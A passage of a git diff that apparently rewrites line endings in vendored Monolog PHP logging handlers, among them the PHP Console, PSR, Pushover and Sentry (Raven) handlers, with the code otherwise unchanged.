'detectDumpTraceAndSource' => false, // bool Autodetect and append trace data to debug + 'dataStorage' => null, // PhpConsole\Storage|null Fixes problem with custom $_SESSION handler(see http://goo.gl/Ne8juJ) + ); + + /** @var Connector */ + private $connector; + + /** + * @param array $options See \Monolog\Handler\PHPConsoleHandler::$options for more details + * @param Connector|null $connector Instance of \PhpConsole\Connector class (optional) + * @param int $level + * @param bool $bubble + * @throws Exception + */ + public function __construct(array $options = array(), Connector $connector = null, $level = Logger::DEBUG, $bubble = true) + { + if (!class_exists('PhpConsole\Connector')) { + throw new Exception('PHP Console library not found. See https://github.com/barbushin/php-console#installation'); + } + parent::__construct($level, $bubble); + $this->options = $this->initOptions($options); + $this->connector = $this->initConnector($connector); + } + + private function initOptions(array $options) + { + $wrongOptions = array_diff(array_keys($options), array_keys($this->options)); + if ($wrongOptions) { + throw new Exception('Unknown options: ' . implode(', ', $wrongOptions)); + } + + return array_replace($this->options, $options); + } + + private function initConnector(Connector $connector = null) + { + if (!$connector) { + if ($this->options['dataStorage']) { + Connector::setPostponeStorage($this->options['dataStorage']); + } + $connector = Connector::getInstance(); + } + + if ($this->options['registerHelper'] && !Helper::isRegistered()) { + Helper::register(); + } + + if ($this->options['enabled'] && $connector->isActiveClient()) { + if ($this->options['useOwnErrorsHandler'] || $this->options['useOwnExceptionsHandler']) { + $handler = Handler::getInstance(); + $handler->setHandleErrors($this->options['useOwnErrorsHandler']); + $handler->setHandleExceptions($this->options['useOwnExceptionsHandler']); + $handler->start(); + } + if ($this->options['sourcesBasePath']) { + $connector->setSourcesBasePath($this->options['sourcesBasePath']); + } + if ($this->options['serverEncoding']) { + $connector->setServerEncoding($this->options['serverEncoding']); + } + if ($this->options['password']) { + $connector->setPassword($this->options['password']); + } + if ($this->options['enableSslOnlyMode']) { + $connector->enableSslOnlyMode(); + } + if ($this->options['ipMasks']) { + $connector->setAllowedIpMasks($this->options['ipMasks']); + } + if ($this->options['headersLimit']) { + $connector->setHeadersLimit($this->options['headersLimit']); + } + if ($this->options['detectDumpTraceAndSource']) { + $connector->getDebugDispatcher()->detectTraceAndSource = true; + } + $dumper = $connector->getDumper(); + $dumper->levelLimit = $this->options['dumperLevelLimit']; + $dumper->itemsCountLimit = $this->options['dumperItemsCountLimit']; + $dumper->itemSizeLimit = $this->options['dumperItemSizeLimit']; + $dumper->dumpSizeLimit = $this->options['dumperDumpSizeLimit']; + $dumper->detectCallbacks = $this->options['dumperDetectCallbacks']; + if ($this->options['enableEvalListener']) { + $connector->startEvalRequestsListener(); + } + } + + return $connector; + } + + public function getConnector() + { + return $this->connector; + } + + public function getOptions() + { + return $this->options; + } + + public function handle(array $record) + { + if ($this->options['enabled'] && $this->connector->isActiveClient()) { + return parent::handle($record); + } + + return !$this->bubble; + } + + /** + * Writes the record down to the log of the implementing handler + * + * @param array $record + * @return void + */ + protected function write(array $record) + { + if ($record['level'] < Logger::NOTICE) { + $this->handleDebugRecord($record); + } elseif (isset($record['context']['exception']) && $record['context']['exception'] instanceof Exception) { + $this->handleExceptionRecord($record); + } else { + $this->handleErrorRecord($record); + } + } + + private function handleDebugRecord(array $record) + { + $tags = $this->getRecordTags($record); + $message = $record['message']; + if ($record['context']) { + $message .= ' ' . Utils::jsonEncode($this->connector->getDumper()->dump(array_filter($record['context'])), null, true); + } + $this->connector->getDebugDispatcher()->dispatchDebug($message, $tags, $this->options['classesPartialsTraceIgnore']); + } + + private function handleExceptionRecord(array $record) + { + $this->connector->getErrorsDispatcher()->dispatchException($record['context']['exception']); + } + + private function handleErrorRecord(array $record) + { + $context = $record['context']; + + $this->connector->getErrorsDispatcher()->dispatchError( + isset($context['code']) ? $context['code'] : null, + isset($context['message']) ? $context['message'] : $record['message'], + isset($context['file']) ? $context['file'] : null, + isset($context['line']) ? $context['line'] : null, + $this->options['classesPartialsTraceIgnore'] + ); + } + + private function getRecordTags(array &$record) + { + $tags = null; + if (!empty($record['context'])) { + $context = & $record['context']; + foreach ($this->options['debugTagsKeysInContext'] as $key) { + if (!empty($context[$key])) { + $tags = $context[$key]; + if ($key === 0) { + array_shift($context); + } else { + unset($context[$key]); + } + break; + } + } + } + + return $tags ?: strtolower($record['level_name']); + } + + /** + * {@inheritDoc} + */ + protected function getDefaultFormatter() + { + return new LineFormatter('%message%'); + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/ProcessableHandlerInterface.php b/vendor/monolog/monolog/src/Monolog/Handler/ProcessableHandlerInterface.php index 35f41b80c6..66a3d83ae3 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/ProcessableHandlerInterface.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/ProcessableHandlerInterface.php @@ -1,40 +1,40 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Processor\ProcessorInterface; - -/** - * Interface to describe loggers that have processors - * - * This interface is present in monolog 1.x to ease forward compatibility. - * - * @author Jordi Boggiano - */ -interface ProcessableHandlerInterface -{ - /** - * Adds a processor in the stack. - * - * @param ProcessorInterface|callable $callback - * @return HandlerInterface self - */ - public function pushProcessor($callback): HandlerInterface; - - /** - * Removes the processor on top of the stack and returns it. - * - * @throws \LogicException In case the processor stack is empty - * @return callable - */ - public function popProcessor(): callable; -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Processor\ProcessorInterface; + +/** + * Interface to describe loggers that have processors + * + * This interface is present in monolog 1.x to ease forward compatibility. + * + * @author Jordi Boggiano + */ +interface ProcessableHandlerInterface +{ + /** + * Adds a processor in the stack. + * + * @param ProcessorInterface|callable $callback + * @return HandlerInterface self + */ + public function pushProcessor($callback): HandlerInterface; + + /** + * Removes the processor on top of the stack and returns it. + * + * @throws \LogicException In case the processor stack is empty + * @return callable + */ + public function popProcessor(): callable; +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/ProcessableHandlerTrait.php b/vendor/monolog/monolog/src/Monolog/Handler/ProcessableHandlerTrait.php index cd58940b2c..09f32a12c7 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/ProcessableHandlerTrait.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/ProcessableHandlerTrait.php @@ -1,73 +1,73 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\ResettableInterface; - -/** - * Helper trait for implementing ProcessableInterface - * - * This trait is present in monolog 1.x to ease forward compatibility. - * - * @author Jordi Boggiano - */ -trait ProcessableHandlerTrait -{ - /** - * @var callable[] - */ - protected $processors = []; - - /** - * {@inheritdoc} - * @suppress PhanTypeMismatchReturn - */ - public function pushProcessor($callback): HandlerInterface - { - array_unshift($this->processors, $callback); - - return $this; - } - - /** - * {@inheritdoc} - */ - public function popProcessor(): callable - { - if (!$this->processors) { - throw new \LogicException('You tried to pop from an empty processor stack.'); - } - - return array_shift($this->processors); - } - - /** - * Processes a record. - */ - protected function processRecord(array $record): array - { - foreach ($this->processors as $processor) { - $record = $processor($record); - } - - return $record; - } - - protected function resetProcessors(): void - { - foreach ($this->processors as $processor) { - if ($processor instanceof ResettableInterface) { - $processor->reset(); - } - } - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\ResettableInterface; + +/** + * Helper trait for implementing ProcessableInterface + * + * This trait is present in monolog 1.x to ease forward compatibility. + * + * @author Jordi Boggiano + */ +trait ProcessableHandlerTrait +{ + /** + * @var callable[] + */ + protected $processors = []; + + /** + * {@inheritdoc} + * @suppress PhanTypeMismatchReturn + */ + public function pushProcessor($callback): HandlerInterface + { + array_unshift($this->processors, $callback); + + return $this; + } + + /** + * {@inheritdoc} + */ + public function popProcessor(): callable + { + if (!$this->processors) { + throw new \LogicException('You tried to pop from an empty processor stack.'); + } + + return array_shift($this->processors); + } + + /** + * Processes a record. + */ + protected function processRecord(array $record): array + { + foreach ($this->processors as $processor) { + $record = $processor($record); + } + + return $record; + } + + protected function resetProcessors(): void + { + foreach ($this->processors as $processor) { + if ($processor instanceof ResettableInterface) { + $processor->reset(); + } + } + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/PsrHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/PsrHandler.php index bb819d5687..a99e6ab719 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/PsrHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/PsrHandler.php @@ -1,56 +1,56 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; -use Psr\Log\LoggerInterface; - -/** - * Proxies log messages to an existing PSR-3 compliant logger. - * - * @author Michael Moussa - */ -class PsrHandler extends AbstractHandler -{ - /** - * PSR-3 compliant logger - * - * @var LoggerInterface - */ - protected $logger; - - /** - * @param LoggerInterface $logger The underlying PSR-3 compliant logger to which messages will be proxied - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - */ - public function __construct(LoggerInterface $logger, $level = Logger::DEBUG, $bubble = true) - { - parent::__construct($level, $bubble); - - $this->logger = $logger; - } - - /** - * {@inheritDoc} - */ - public function handle(array $record) - { - if (!$this->isHandling($record)) { - return false; - } - - $this->logger->log(strtolower($record['level_name']), $record['message'], $record['context']); - - return false === $this->bubble; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; +use Psr\Log\LoggerInterface; + +/** + * Proxies log messages to an existing PSR-3 compliant logger. + * + * @author Michael Moussa + */ +class PsrHandler extends AbstractHandler +{ + /** + * PSR-3 compliant logger + * + * @var LoggerInterface + */ + protected $logger; + + /** + * @param LoggerInterface $logger The underlying PSR-3 compliant logger to which messages will be proxied + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + */ + public function __construct(LoggerInterface $logger, $level = Logger::DEBUG, $bubble = true) + { + parent::__construct($level, $bubble); + + $this->logger = $logger; + } + + /** + * {@inheritDoc} + */ + public function handle(array $record) + { + if (!$this->isHandling($record)) { + return false; + } + + $this->logger->log(strtolower($record['level_name']), $record['message'], $record['context']); + + return false === $this->bubble; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/PushoverHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/PushoverHandler.php index 46faa6d002..f27bb3da07 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/PushoverHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/PushoverHandler.php @@ -1,185 +1,185 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Logger; - -/** - * Sends notifications through the pushover api to mobile phones - * - * @author Sebastian Göttschkes - * @see https://www.pushover.net/api - */ -class PushoverHandler extends SocketHandler -{ - private $token; - private $users; - private $title; - private $user; - private $retry; - private $expire; - - private $highPriorityLevel; - private $emergencyLevel; - private $useFormattedMessage = false; - - /** - * All parameters that can be sent to Pushover - * @see https://pushover.net/api - * @var array - */ - private $parameterNames = array( - 'token' => true, - 'user' => true, - 'message' => true, - 'device' => true, - 'title' => true, - 'url' => true, - 'url_title' => true, - 'priority' => true, - 'timestamp' => true, - 'sound' => true, - 'retry' => true, - 'expire' => true, - 'callback' => true, - ); - - /** - * Sounds the api supports by default - * @see https://pushover.net/api#sounds - * @var array - */ - private $sounds = array( - 'pushover', 'bike', 'bugle', 'cashregister', 'classical', 'cosmic', 'falling', 'gamelan', 'incoming', - 'intermission', 'magic', 'mechanical', 'pianobar', 'siren', 'spacealarm', 'tugboat', 'alien', 'climb', - 'persistent', 'echo', 'updown', 'none', - ); - - /** - * @param string $token Pushover api token - * @param string|array $users Pushover user id or array of ids the message will be sent to - * @param string $title Title sent to the Pushover API - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - * @param bool $useSSL Whether to connect via SSL. Required when pushing messages to users that are not - * the pushover.net app owner. OpenSSL is required for this option. - * @param int $highPriorityLevel The minimum logging level at which this handler will start - * sending "high priority" requests to the Pushover API - * @param int $emergencyLevel The minimum logging level at which this handler will start - * sending "emergency" requests to the Pushover API - * @param int $retry The retry parameter specifies how often (in seconds) the Pushover servers will send the same notification to the user. - * @param int $expire The expire parameter specifies how many seconds your notification will continue to be retried for (every retry seconds). - */ - public function __construct($token, $users, $title = null, $level = Logger::CRITICAL, $bubble = true, $useSSL = true, $highPriorityLevel = Logger::CRITICAL, $emergencyLevel = Logger::EMERGENCY, $retry = 30, $expire = 25200) - { - $connectionString = $useSSL ? 'ssl://api.pushover.net:443' : 'api.pushover.net:80'; - parent::__construct($connectionString, $level, $bubble); - - $this->token = $token; - $this->users = (array) $users; - $this->title = $title ?: gethostname(); - $this->highPriorityLevel = Logger::toMonologLevel($highPriorityLevel); - $this->emergencyLevel = Logger::toMonologLevel($emergencyLevel); - $this->retry = $retry; - $this->expire = $expire; - } - - protected function generateDataStream($record) - { - $content = $this->buildContent($record); - - return $this->buildHeader($content) . $content; - } - - private function buildContent($record) - { - // Pushover has a limit of 512 characters on title and message combined. - $maxMessageLength = 512 - strlen($this->title); - - $message = ($this->useFormattedMessage) ? $record['formatted'] : $record['message']; - $message = substr($message, 0, $maxMessageLength); - - $timestamp = $record['datetime']->getTimestamp(); - - $dataArray = array( - 'token' => $this->token, - 'user' => $this->user, - 'message' => $message, - 'title' => $this->title, - 'timestamp' => $timestamp, - ); - - if (isset($record['level']) && $record['level'] >= $this->emergencyLevel) { - $dataArray['priority'] = 2; - $dataArray['retry'] = $this->retry; - $dataArray['expire'] = $this->expire; - } elseif (isset($record['level']) && $record['level'] >= $this->highPriorityLevel) { - $dataArray['priority'] = 1; - } - - // First determine the available parameters - $context = array_intersect_key($record['context'], $this->parameterNames); - $extra = array_intersect_key($record['extra'], $this->parameterNames); - - // Least important info should be merged with subsequent info - $dataArray = array_merge($extra, $context, $dataArray); - - // Only pass sounds that are supported by the API - if (isset($dataArray['sound']) && !in_array($dataArray['sound'], $this->sounds)) { - unset($dataArray['sound']); - } - - return http_build_query($dataArray); - } - - private function buildHeader($content) - { - $header = "POST /1/messages.json HTTP/1.1\r\n"; - $header .= "Host: api.pushover.net\r\n"; - $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; - $header .= "Content-Length: " . strlen($content) . "\r\n"; - $header .= "\r\n"; - - return $header; - } - - protected function write(array $record) - { - foreach ($this->users as $user) { - $this->user = $user; - - parent::write($record); - $this->closeSocket(); - } - - $this->user = null; - } - - public function setHighPriorityLevel($value) - { - $this->highPriorityLevel = $value; - } - - public function setEmergencyLevel($value) - { - $this->emergencyLevel = $value; - } - - /** - * Use the formatted message? - * @param bool $value - */ - public function useFormattedMessage($value) - { - $this->useFormattedMessage = (bool) $value; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Logger; + +/** + * Sends notifications through the pushover api to mobile phones + * + * @author Sebastian Göttschkes + * @see https://www.pushover.net/api + */ +class PushoverHandler extends SocketHandler +{ + private $token; + private $users; + private $title; + private $user; + private $retry; + private $expire; + + private $highPriorityLevel; + private $emergencyLevel; + private $useFormattedMessage = false; + + /** + * All parameters that can be sent to Pushover + * @see https://pushover.net/api + * @var array + */ + private $parameterNames = array( + 'token' => true, + 'user' => true, + 'message' => true, + 'device' => true, + 'title' => true, + 'url' => true, + 'url_title' => true, + 'priority' => true, + 'timestamp' => true, + 'sound' => true, + 'retry' => true, + 'expire' => true, + 'callback' => true, + ); + + /** + * Sounds the api supports by default + * @see https://pushover.net/api#sounds + * @var array + */ + private $sounds = array( + 'pushover', 'bike', 'bugle', 'cashregister', 'classical', 'cosmic', 'falling', 'gamelan', 'incoming', + 'intermission', 'magic', 'mechanical', 'pianobar', 'siren', 'spacealarm', 'tugboat', 'alien', 'climb', + 'persistent', 'echo', 'updown', 'none', + ); + + /** + * @param string $token Pushover api token + * @param string|array $users Pushover user id or array of ids the message will be sent to + * @param string $title Title sent to the Pushover API + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + * @param bool $useSSL Whether to connect via SSL. Required when pushing messages to users that are not + * the pushover.net app owner. OpenSSL is required for this option. + * @param int $highPriorityLevel The minimum logging level at which this handler will start + * sending "high priority" requests to the Pushover API + * @param int $emergencyLevel The minimum logging level at which this handler will start + * sending "emergency" requests to the Pushover API + * @param int $retry The retry parameter specifies how often (in seconds) the Pushover servers will send the same notification to the user. + * @param int $expire The expire parameter specifies how many seconds your notification will continue to be retried for (every retry seconds). + */ + public function __construct($token, $users, $title = null, $level = Logger::CRITICAL, $bubble = true, $useSSL = true, $highPriorityLevel = Logger::CRITICAL, $emergencyLevel = Logger::EMERGENCY, $retry = 30, $expire = 25200) + { + $connectionString = $useSSL ? 'ssl://api.pushover.net:443' : 'api.pushover.net:80'; + parent::__construct($connectionString, $level, $bubble); + + $this->token = $token; + $this->users = (array) $users; + $this->title = $title ?: gethostname(); + $this->highPriorityLevel = Logger::toMonologLevel($highPriorityLevel); + $this->emergencyLevel = Logger::toMonologLevel($emergencyLevel); + $this->retry = $retry; + $this->expire = $expire; + } + + protected function generateDataStream($record) + { + $content = $this->buildContent($record); + + return $this->buildHeader($content) . $content; + } + + private function buildContent($record) + { + // Pushover has a limit of 512 characters on title and message combined. + $maxMessageLength = 512 - strlen($this->title); + + $message = ($this->useFormattedMessage) ? $record['formatted'] : $record['message']; + $message = substr($message, 0, $maxMessageLength); + + $timestamp = $record['datetime']->getTimestamp(); + + $dataArray = array( + 'token' => $this->token, + 'user' => $this->user, + 'message' => $message, + 'title' => $this->title, + 'timestamp' => $timestamp, + ); + + if (isset($record['level']) && $record['level'] >= $this->emergencyLevel) { + $dataArray['priority'] = 2; + $dataArray['retry'] = $this->retry; + $dataArray['expire'] = $this->expire; + } elseif (isset($record['level']) && $record['level'] >= $this->highPriorityLevel) { + $dataArray['priority'] = 1; + } + + // First determine the available parameters + $context = array_intersect_key($record['context'], $this->parameterNames); + $extra = array_intersect_key($record['extra'], $this->parameterNames); + + // Least important info should be merged with subsequent info + $dataArray = array_merge($extra, $context, $dataArray); + + // Only pass sounds that are supported by the API + if (isset($dataArray['sound']) && !in_array($dataArray['sound'], $this->sounds)) { + unset($dataArray['sound']); + } + + return http_build_query($dataArray); + } + + private function buildHeader($content) + { + $header = "POST /1/messages.json HTTP/1.1\r\n"; + $header .= "Host: api.pushover.net\r\n"; + $header .= "Content-Type: application/x-www-form-urlencoded\r\n"; + $header .= "Content-Length: " . strlen($content) . "\r\n"; + $header .= "\r\n"; + + return $header; + } + + protected function write(array $record) + { + foreach ($this->users as $user) { + $this->user = $user; + + parent::write($record); + $this->closeSocket(); + } + + $this->user = null; + } + + public function setHighPriorityLevel($value) + { + $this->highPriorityLevel = $value; + } + + public function setEmergencyLevel($value) + { + $this->emergencyLevel = $value; + } + + /** + * Use the formatted message? + * @param bool $value + */ + public function useFormattedMessage($value) + { + $this->useFormattedMessage = (bool) $value; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/RavenHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/RavenHandler.php index 46e61b90e9..b0298fa6cc 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/RavenHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/RavenHandler.php @@ -1,234 +1,234 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace Monolog\Handler; - -use Monolog\Formatter\LineFormatter; -use Monolog\Formatter\FormatterInterface; -use Monolog\Logger; -use Raven_Client; - -/** - * Handler to send messages to a Sentry (https://github.com/getsentry/sentry) server - * using sentry-php (https://github.com/getsentry/sentry-php) - * - * @author Marc Abramowitz - */ -class RavenHandler extends AbstractProcessingHandler -{ - /** - * Translates Monolog log levels to Raven log levels. - */ - protected $logLevels = array( - Logger::DEBUG => Raven_Client::DEBUG, - Logger::INFO => Raven_Client::INFO, - Logger::NOTICE => Raven_Client::INFO, - Logger::WARNING => Raven_Client::WARNING, - Logger::ERROR => Raven_Client::ERROR, - Logger::CRITICAL => Raven_Client::FATAL, - Logger::ALERT => Raven_Client::FATAL, - Logger::EMERGENCY => Raven_Client::FATAL, - ); - - /** - * @var string should represent the current version of the calling - * software. Can be any string (git commit, version number) - */ - protected $release; - - /** - * @var Raven_Client the client object that sends the message to the server - */ - protected $ravenClient; - - /** - * @var FormatterInterface The formatter to use for the logs generated via handleBatch() - */ - protected $batchFormatter; - - /** - * @param Raven_Client $ravenClient - * @param int $level The minimum logging level at which this handler will be triggered - * @param bool $bubble Whether the messages that are handled can bubble up the stack or not - */ - public function __construct(Raven_Client $ravenClient, $level = Logger::DEBUG, $bubble = true) - { - @trigger_error('The Monolog\Handler\RavenHandler class is deprecated. You should rather upgrade to the sentry/sentry 2.x and use Sentry\Monolog\Handler, see https://github.com/getsentry/sentry-php/blob/master/src/Monolog/Handler.php', E_USER_DEPRECATED); - - parent::__construct($level, $bubble); - - $this->ravenClient = $ravenClient; - } - - /** - * {@inheritdoc} - */ - public function handleBatch(array $records) - { - $level = $this->level; - - // filter records based on their level - $records = array_filter($records, function ($record) use ($level) { - return $record['level'] >= $level; - }); - - if (!$records) { - return; - } - - // the record with the highest severity is the "main" one - $record = array_reduce($records, function ($highest, $record) { - if (null === $highest || $record['level'] > $highest['level']) { - return $record; - } - - return $highest; - }); - - // the other ones are added as a context item - $logs = array(); - foreach ($records as $r) { - $logs[] = $this->processRecord($r); - } - - if ($logs) { - $record['context']['logs'] = (string) $this->getBatchFormatter()->formatBatch($logs); - } - - $this->handle($record); - } - - /** - * Sets the formatter for the logs generated by handleBatch(). - * - * @param FormatterInterface $formatter - */ - public function setBatchFormatter(FormatterInterface $formatter) - { - $this->batchFormatter = $formatter; - } - - /** - * Gets the formatter for the logs generated by handleBatch(). - * - * @return FormatterInterface - */ - public function getBatchFormatter() - { - if (!$this->batchFormatter) { - $this->batchFormatter = $this->getDefaultBatchFormatter(); - } - - return $this->batchFormatter; - } - - /** - * {@inheritdoc} - */ - protected function write(array $record) - { - $previousUserContext = false; - $options = array(); - $options['level'] = $this->logLevels[$record['level']]; - $options['tags'] = array(); - if (!empty($record['extra']['tags'])) { - $options['tags'] = array_merge($options['tags'], $record['extra']['tags']); - unset($record['extra']['tags']); - } - if (!empty($record['context']['tags'])) { - $options['tags'] = array_merge($options['tags'], $record['context']['tags']); - unset($record['context']['tags']); - } - if (!empty($record['context']['fingerprint'])) { - $options['fingerprint'] = $record['context']['fingerprint']; - unset($record['context']['fingerprint']); - } - if (!empty($record['context']['logger'])) { - $options['logger'] = $record['context']['logger']; - unset($record['context']['logger']); - } else { - $options['logger'] = $record['channel']; - } - foreach ($this->getExtraParameters() as $key) { - foreach (array('extra', 'context') as $source) { - if (!empty($record[$source][$key])) { - $options[$key] = $record[$source][$key]; - unset($record[$source][$key]); - } - } - } - if (!empty($record['context'])) { - $options['extra']['context'] = $record['context']; - if (!empty($record['context']['user'])) { - $previousUserContext = $this->ravenClient->context->user; - $this->ravenClient->user_context($record['context']['user']); - unset($options['extra']['context']['user']); - } - } - if (!empty($record['extra'])) { - $options['extra']['extra'] = $record['extra']; - } - - if (!empty($this->release) && !isset($options['release'])) { - $options['release'] = $this->release; - } - - if (isset($record['context']['exception']) && ($record['context']['exception'] instanceof \Exception || (PHP_VERSION_ID >= 70000 && $record['context']['exception'] instanceof \Throwable))) { - $options['message'] = $record['formatted']; - $this->ravenClient->captureException($record['context']['exception'], $options); - } else { - $this->ravenClient->captureMessage($record['formatted'], array(), $options); - } - - if ($previousUserContext !== false) { - $this->ravenClient->user_context($previousUserContext); - } - } - - /** - * {@inheritDoc} - */ - protected function getDefaultFormatter() - { - return new LineFormatter('[%channel%] %message%'); - } - - /** - * Gets the default formatter for the logs generated by handleBatch(). - * - * @return FormatterInterface - */ - protected function getDefaultBatchFormatter() - { - return new LineFormatter(); - } - - /** - * Gets extra parameters supported by Raven that can be found in "extra" and "context" - * - * @return array - */ - protected function getExtraParameters() - { - return array('contexts', 'checksum', 'release', 'event_id'); - } - - /** - * @param string $value - * @return self - */ - public function setRelease($value) - { - $this->release = $value; - - return $this; - } -} + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Monolog\Handler; + +use Monolog\Formatter\LineFormatter; +use Monolog\Formatter\FormatterInterface; +use Monolog\Logger; +use Raven_Client; + +/** + * Handler to send messages to a Sentry (https://github.com/getsentry/sentry) server + * using sentry-php (https://github.com/getsentry/sentry-php) + * + * @author Marc Abramowitz + */ +class RavenHandler extends AbstractProcessingHandler +{ + /** + * Translates Monolog log levels to Raven log levels. + */ + protected $logLevels = array( + Logger::DEBUG => Raven_Client::DEBUG, + Logger::INFO => Raven_Client::INFO, + Logger::NOTICE => Raven_Client::INFO, + Logger::WARNING => Raven_Client::WARNING, + Logger::ERROR => Raven_Client::ERROR, + Logger::CRITICAL => Raven_Client::FATAL, + Logger::ALERT => Raven_Client::FATAL, + Logger::EMERGENCY => Raven_Client::FATAL, + ); + + /** + * @var string should represent the current version of the calling + * software. Can be any string (git commit, version number) + */ + protected $release; + + /** + * @var Raven_Client the client object that sends the message to the server + */ + protected $ravenClient; + + /** + * @var FormatterInterface The formatter to use for the logs generated via handleBatch() + */ + protected $batchFormatter; + + /** + * @param Raven_Client $ravenClient + * @param int $level The minimum logging level at which this handler will be triggered + * @param bool $bubble Whether the messages that are handled can bubble up the stack or not + */ + public function __construct(Raven_Client $ravenClient, $level = Logger::DEBUG, $bubble = true) + { + @trigger_error('The Monolog\Handler\RavenHandler class is deprecated. You should rather upgrade to the sentry/sentry 2.x and use Sentry\Monolog\Handler, see https://github.com/getsentry/sentry-php/blob/master/src/Monolog/Handler.php', E_USER_DEPRECATED); + + parent::__construct($level, $bubble); + + $this->ravenClient = $ravenClient; + } + + /** + * {@inheritdoc} + */ + public function handleBatch(array $records) + { + $level = $this->level; + + // filter records based on their level + $records = array_filter($records, function ($record) use ($level) { + return $record['level'] >= $level; + }); + + if (!$records) { + return; + } + + // the record with the highest severity is the "main" one + $record = array_reduce($records, function ($highest, $record) { + if (null === $highest || $record['level'] > $highest['level']) { + return $record; + } + + return $highest; + }); + + // the other ones are added as a context item + $logs = array(); + foreach ($records as $r) { + $logs[] = $this->processRecord($r); + } + + if ($logs) { + $record['context']['logs'] = (string) $this->getBatchFormatter()->formatBatch($logs); + } + + $this->handle($record); + } + + /** + * Sets the formatter for the logs generated by handleBatch(). + * + * @param FormatterInterface $formatter + */ + public function setBatchFormatter(FormatterInterface $formatter) + { + $this->batchFormatter = $formatter; + } + + /** + * Gets the formatter for the logs generated by handleBatch(). + * + * @return FormatterInterface + */ + public function getBatchFormatter() + { + if (!$this->batchFormatter) { + $this->batchFormatter = $this->getDefaultBatchFormatter(); + } + + return $this->batchFormatter; + } + + /** + * {@inheritdoc} + */ + protected function write(array $record) + { + $previousUserContext = false; + $options = array(); + $options['level'] = $this->logLevels[$record['level']]; + $options['tags'] = array(); + if (!empty($record['extra']['tags'])) { + $options['tags'] = array_merge($options['tags'], $record['extra']['tags']); + unset($record['extra']['tags']); + } + if (!empty($record['context']['tags'])) { + $options['tags'] = array_merge($options['tags'], $record['context']['tags']); + unset($record['context']['tags']); + } + if (!empty($record['context']['fingerprint'])) { + $options['fingerprint'] = $record['context']['fingerprint']; + unset($record['context']['fingerprint']); + } + if (!empty($record['context']['logger'])) { + $options['logger'] = $record['context']['logger']; + unset($record['context']['logger']); + } else { + $options['logger'] = $record['channel']; + } + foreach ($this->getExtraParameters() as $key) { + foreach (array('extra', 'context') as $source) { + if (!empty($record[$source][$key])) { + $options[$key] = $record[$source][$key]; + unset($record[$source][$key]); + } + } + } + if (!empty($record['context'])) { + $options['extra']['context'] = $record['context']; + if (!empty($record['context']['user'])) { + $previousUserContext = $this->ravenClient->context->user; + $this->ravenClient->user_context($record['context']['user']); + unset($options['extra']['context']['user']); + } + } + if (!empty($record['extra'])) { + $options['extra']['extra'] = $record['extra']; + } + + if (!empty($this->release) && !isset($options['release'])) { + $options['release'] = $this->release; + } + + if (isset($record['context']['exception']) && ($record['context']['exception'] instanceof \Exception || (PHP_VERSION_ID >= 70000 && $record['context']['exception'] instanceof \Throwable))) { + $options['message'] = $record['formatted']; + $this->ravenClient->captureException($record['context']['exception'], $options); + } else { + $this->ravenClient->captureMessage($record['formatted'], array(), $options); + } + + if ($previousUserContext !== false) { + $this->ravenClient->user_context($previousUserContext); + } + } + + /** + * {@inheritDoc} + */ + protected function getDefaultFormatter() + { + return new LineFormatter('[%channel%] %message%'); + } + + /** + * Gets the default formatter for the logs generated by handleBatch(). + * + * @return FormatterInterface + */ + protected function getDefaultBatchFormatter() + { + return new LineFormatter(); + } + + /** + * Gets extra parameters supported by Raven that can be found in "extra" and "context" + * + * @return array + */ + protected function getExtraParameters() + { + return array('contexts', 'checksum', 'release', 'event_id'); + } + + /** + * @param string $value + * @return self + */ + public function setRelease($value) + { + $this->release = $value; + + return $this; + } +} diff --git a/vendor/monolog/monolog/src/Monolog/Handler/RedisHandler.php b/vendor/monolog/monolog/src/Monolog/Handler/RedisHandler.php index 152db4e309..3725db242f 100644 --- a/vendor/monolog/monolog/src/Monolog/Handler/RedisHandler.php +++ b/vendor/monolog/monolog/src/Monolog/Handler/RedisHandler.php @@ -1,98 +1,98 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ - -namespace 